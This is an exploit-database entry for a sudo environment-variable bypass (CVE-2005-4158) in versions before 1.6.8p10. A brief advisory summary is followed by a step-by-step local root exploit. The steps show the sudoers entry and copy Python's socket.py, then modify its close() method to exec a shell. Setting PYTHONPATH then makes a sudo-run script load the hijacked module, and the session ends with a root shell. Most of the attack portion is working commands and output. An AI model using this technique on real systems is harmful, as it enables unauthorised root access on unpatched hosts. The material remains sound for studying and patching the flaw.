Search...

Sudo 1.6.x Environment Variable Handling Security Bypass Vulnerability 2

2006-01-09T00:00:00
ID EDB-ID:27057
Type exploitdb
Reporter Breno Silva Pinto
Modified 2006-01-09T00:00:00

Description

Sudo 1.6.x Environment Variable Handling Security Bypass Vulnerability (2). CVE-2005-4158. Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/16184/info
 
Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling environment variables.
 
A local attacker with the ability to run Python scripts can exploit this vulnerability to gain access to an interactive Python prompt. That attacker may then execute arbitrary code with elevated privileges, facilitating the complete compromise of affected computers.
 
An attacker must have the ability to run Python scripts through Sudo to exploit this vulnerability.
 
This issue is similar to BID 15394 (Sudo Perl Environment Variable Handling Security Bypass Vulnerability). 

## Sudo local root escalation privilege ##
## vuln versions :  sudo < 1.6.8p10
## adv : http://www.securityfocus.com/bid/16184
## by breno - breno at kalangolinux dot org

## You need sudo access execution for some python script ##


## First look sudoers file. User 'breno' can execute expl_python_sudo.py script

breno  ~ $ -> cat /etc/sudoers

breno   ALL=(ALL) /home/breno/expl_python_sudo.py

## Second, see our simple PoC python script

breno  ~ $ -> cat /home/breno/expl_python_sudo.py
#!/usr/bin/python
import sys
import socket
import os

print "Python Sudo Exploit"
exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
exp.close()
breno  ~ $ ->

## Sexy !! Do nothing :)

## Ok. What you need to do to get root is hijacking socket.py module , change close()
function to execute something and
## change PYTHONPTAH env.

breno  ~ $ -> cp /usr/lib/python2.3/socket.py /home/breno/

breno  ~ $ -> vi /home/breno/socket.py
...
import os
...
def close(self):
os.execl("/bin/sh","/bin/ah");
self._sock = _closedsocket()
self.send = self.recv = self.sendto = self.recvfrom = self._sock._dummy
close.__doc__ = _realsocket.close.__doc__
...

## Ok .. save it and export env

breno  ~ $ -> export PYTHONPATH=/home/breno

## .. and execute script. Too much sexy !!!

breno  ~ $ -> sudo /home/breno/expl_python_sudo.py
Python Sudo Exploit
root  ~ # -> id
uid=0(root) gid=0(root) grupos=0(root)
root  ~ # ->
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by